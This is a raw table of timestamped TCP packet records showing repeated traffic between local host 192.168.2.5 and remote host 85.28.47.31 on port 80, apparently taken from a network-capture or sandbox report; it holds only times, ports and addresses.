Jul 27, 2024 12:01:13.508984089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.509001017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590015888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590061903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590089083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590091944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590130091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590131044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590219021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590234995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590250015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590267897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590282917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590284109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590306997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590306997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590326071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590342999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590543032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590559006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590595007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590619087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590779066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590814114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590837002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590838909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590854883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590863943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590878963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590883017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590902090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590907097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.590914965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.590951920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591239929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591255903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591279984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591294050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591303110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591314077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591321945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591334105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591337919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591353893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591360092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591360092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591379881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591394901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591398954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591415882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591442108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591455936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591828108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591871023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591886997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591897011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591902018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591924906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591924906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591938019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.591945887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.591989994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592205048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592221022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592236042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592253923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592255116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592279911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592293978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592310905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592310905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592328072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592338085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592355013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592356920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592370033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592371941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592395067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592395067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592415094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592420101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592442036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592447042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.592473984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.592515945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.593203068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.593219042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.593257904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.593274117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.593276024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.593290091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.593306065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.593318939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.593333960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.593342066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.593352079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.593358040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.593374014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.593388081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.593403101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.593420029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.672542095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.672566891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.672585011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.672631979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.672653913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.672848940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.672873020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.672889948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.672907114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.672909975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.672931910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.672954082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.672959089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.672983885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673001051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.673001051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673019886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673032999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.673053026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.673069954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.673291922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673307896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673325062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673340082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673355103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673355103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.673386097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.673412085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.673666000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673681974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673696995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673712969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673727989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673737049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.673743010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673753023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.673758984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.673773050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.673801899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.674624920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674640894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674655914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674669981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674674034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.674695969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674705982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.674709082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674724102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674732924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.674740076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674753904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674755096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.674768925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674782038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674782038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.674798012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674802065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.674813032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674825907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674827099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.674840927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674855947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.674859047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.674877882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.674895048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.675539970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675553083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675566912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675581932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675596952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675609112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.675611973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675626993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675626040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.675642967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675657034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675656080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.675673008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675682068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.675685883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675702095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.675703049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675718069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675734043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.675734043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.675748110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.675781965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.676173925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676188946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676203966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676217079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676223040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.676230907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676246881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676259995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676266909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.676275015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676282883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.676290989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676306009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676302910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.676321983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676321983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.676337957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676346064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.676353931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676369905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676378012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.676397085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.676419020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.676970959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.676985979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.677000999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.677016973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.677026033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.677031994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.677046061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.677047968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.677064896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.677071095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.677094936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.677120924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.682516098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.682589054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.682595015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.682611942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.682642937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.682671070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.682746887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.682765961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.682796955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.682822943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.682907104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.682923079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.682938099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.682952881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.682957888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.682992935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683197021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683208942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683223963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683239937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683249950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683254957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683271885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683276892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683295012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683319092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683547974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683563948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683578014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683593988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683598042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683609962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683614016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683631897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683676004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683676004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683897972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683912992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683937073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683953047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683959961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683968067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683981895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.683981895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.683999062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684011936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.684014082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684029102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684032917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.684045076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684051991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.684061050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684089899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.684106112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.684709072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684724092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684740067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684753895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684771061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684786081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684784889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.684786081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.684802055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684812069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.684814930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.684832096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.684855938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768199921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768224955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768240929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768255949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768260956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768270969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768285990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768301964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768331051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768331051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768333912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768358946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768359900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768378973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768384933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768400908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768408060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768416882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768430948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768433094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768446922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768448114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768464088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768471956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768479109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768511057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768517017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768517971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768526077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768537998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768543005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768558025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768558025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768573999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768579006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768589973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768599033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768604994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768618107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768620968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768635035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768651962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768666983 CEST	80	49704	85.28.47.31	192.168.2.5
